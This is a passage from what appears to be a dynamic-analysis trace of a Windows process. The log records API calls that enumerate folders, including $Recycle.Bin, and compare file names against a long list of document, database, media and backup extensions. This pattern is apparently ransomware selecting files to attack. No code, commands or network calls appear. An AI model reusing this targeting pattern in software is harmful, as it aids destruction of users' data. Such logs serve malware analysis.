lpString2="37.log") returned -1 [0128.806] lstrlenW (lpString=".accdb") returned 6 [0128.806] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0128.806] lstrlenW (lpString=".accdc") returned 6 [0128.806] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0128.806] lstrlenW (lpString=".accde") returned 6 [0128.806] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0128.806] lstrlenW (lpString=".accdt") returned 6 [0128.806] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0128.806] lstrlenW (lpString=".accdw") returned 6 [0128.806] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0128.806] lstrlenW (lpString=".adb") returned 4 [0128.806] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0128.806] lstrlenW (lpString=".adp") returned 4 [0128.807] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0128.807] lstrlenW (lpString=".ai") returned 3 [0128.807] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0128.807] lstrlenW (lpString=".ai3") returned 4 [0128.807] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0128.807] lstrlenW (lpString=".ai4") returned 4 [0128.807] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0128.807] lstrlenW (lpString=".ai5") returned 4 [0128.807] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0128.807] lstrlenW (lpString=".ai6") returned 4 [0128.807] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0128.807] lstrlenW (lpString=".ai7") returned 4 [0128.807] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0128.807] lstrlenW (lpString=".ai8") returned 4 [0128.807] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0128.807] lstrlenW (lpString=".anim") returned 5 [0128.807] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0128.807] lstrlenW (lpString=".arw") returned 4 [0128.807] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0128.807] lstrlenW (lpString=".as") returned 3 [0128.807] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0128.807] lstrlenW (lpString=".asa") returned 4 [0128.807] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0128.807] lstrlenW (lpString=".asc") returned 4 [0128.807] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0128.807] lstrlenW (lpString=".ascx") returned 5 [0128.807] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0128.807] lstrlenW (lpString=".asm") returned 4 [0128.807] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0128.807] lstrlenW (lpString=".asmx") returned 5 [0128.807] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0128.808] lstrlenW (lpString=".asp") returned 4 [0128.808] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0128.808] lstrlenW (lpString=".aspx") returned 5 [0128.808] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0128.808] lstrlenW (lpString=".asr") returned 4 [0128.808] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0128.808] lstrlenW (lpString=".asx") returned 4 [0128.808] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0128.808] lstrlenW (lpString=".avi") returned 4 [0128.808] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0128.808] lstrlenW (lpString=".avs") returned 4 [0128.808] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0128.808] lstrlenW (lpString=".backup") returned 7 [0128.808] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0128.808] lstrlenW (lpString=".bak") returned 4 [0128.808] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0128.808] lstrlenW (lpString=".bay") returned 4 [0128.808] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0128.808] lstrlenW (lpString=".bd") returned 3 [0128.808] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0128.808] lstrlenW (lpString=".bin") returned 4 [0128.808] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0128.808] lstrlenW (lpString=".bmp") returned 4 [0128.808] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0128.808] lstrlenW (lpString=".bz2") returned 4 [0128.808] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0128.808] lstrlenW (lpString=".c") returned 2 [0128.808] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0128.808] lstrlenW (lpString=".cdr") returned 4 [0128.808] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0128.808] lstrlenW (lpString=".cer") returned 4 [0128.809] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0128.809] lstrlenW (lpString=".cf") returned 3 [0128.809] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0128.809] lstrlenW (lpString=".cfc") returned 4 [0128.809] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0128.809] lstrlenW (lpString=".cfm") returned 4 [0128.809] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0128.809] lstrlenW (lpString=".cfml") returned 5 [0128.809] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0128.809] lstrlenW (lpString=".cfu") returned 4 [0128.809] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0128.809] lstrlenW (lpString=".chm") returned 4 [0128.809] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0128.809] lstrlenW (lpString=".cin") returned 4 [0128.809] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0128.809] lstrlenW (lpString=".class") returned 6 [0128.809] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0128.809] lstrlenW (lpString=".clx") returned 4 [0128.809] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0128.809] lstrlenW (lpString=".config") returned 7 [0128.809] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0128.809] lstrlenW (lpString=".cpp") returned 4 [0128.809] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0128.809] lstrlenW (lpString=".cr2") returned 4 [0128.809] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0128.809] lstrlenW (lpString=".crt") returned 4 [0128.809] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0128.809] lstrlenW (lpString=".crw") returned 4 [0128.809] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0128.809] lstrlenW (lpString=".cs") returned 3 [0128.809] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0128.809] lstrlenW (lpString=".css") returned 4 [0128.810] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".csv") returned 4 [0128.810] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".cub") returned 4 [0128.810] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".dae") returned 4 [0128.810] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".dat") returned 4 [0128.810] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".db") returned 3 [0128.810] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0128.810] lstrlenW (lpString=".dbf") returned 4 [0128.810] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".dbx") returned 4 [0128.810] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".dc3") returned 4 [0128.810] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".dcm") returned 4 [0128.810] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".dcr") returned 4 [0128.810] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".der") returned 4 [0128.810] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".dib") returned 4 [0128.810] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".dic") returned 4 [0128.810] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".dif") returned 4 [0128.810] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0128.810] lstrlenW (lpString=".divx") returned 5 [0128.811] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0128.811] lstrlenW (lpString=".djvu") returned 5 [0128.811] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0128.811] lstrlenW (lpString=".dng") returned 4 [0128.811] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0128.811] lstrlenW (lpString=".doc") returned 4 [0128.811] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0128.811] lstrlenW (lpString=".docm") returned 5 [0128.811] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0128.811] lstrlenW (lpString=".docx") returned 5 [0128.811] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0128.811] lstrlenW (lpString=".dot") returned 4 [0128.811] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0128.811] lstrlenW (lpString=".dotm") returned 5 [0128.811] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0128.811] lstrlenW (lpString=".dotx") returned 5 [0128.811] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0128.811] lstrlenW (lpString=".dpx") returned 4 [0128.811] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0128.811] lstrlenW (lpString=".dqy") returned 4 [0128.811] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0128.811] lstrlenW (lpString=".dsn") returned 4 [0128.811] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0128.811] lstrlenW (lpString=".dt") returned 3 [0128.811] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0128.811] lstrlenW (lpString=".dtd") returned 4 [0128.811] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0128.811] lstrlenW (lpString=".dwg") returned 4 [0128.811] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0128.811] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0128.812] FindClose (in: hFindFile=0x5bacb8 | out: hFindFile=0x5bacb8) returned 1 [0128.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x5baeb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0128.814] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bacb8 [0128.864] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0128.865] FindClose (in: hFindFile=0x5bacb8 | out: hFindFile=0x5bacb8) returned 1 [0128.867] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x5baeb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0128.867] FindClose (in: hFindFile=0x5baeb8 | out: hFindFile=0x5baeb8) returned 1 [0128.867] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3600078 | out: hHeap=0x5a0000) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0128.867] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5bac78 [0128.868] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0128.868] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bacb8 [0128.869] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0128.869] FindClose (in: hFindFile=0x5bacb8 | out: hFindFile=0x5bacb8) returned 1 [0128.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0128.869] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5baeb8 [0128.869] FindNextFileW (in: hFindFile=0x5baeb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x5baeb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x5baeb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0128.870] FindClose (in: hFindFile=0x5baeb8 | out: hFindFile=0x5baeb8) returned 1 [0128.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0128.870] FindClose (in: hFindFile=0x5bac78 | out: hFindFile=0x5bac78) returned 1 [0128.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3600078 | out: hHeap=0x5a0000) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0128.870] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, 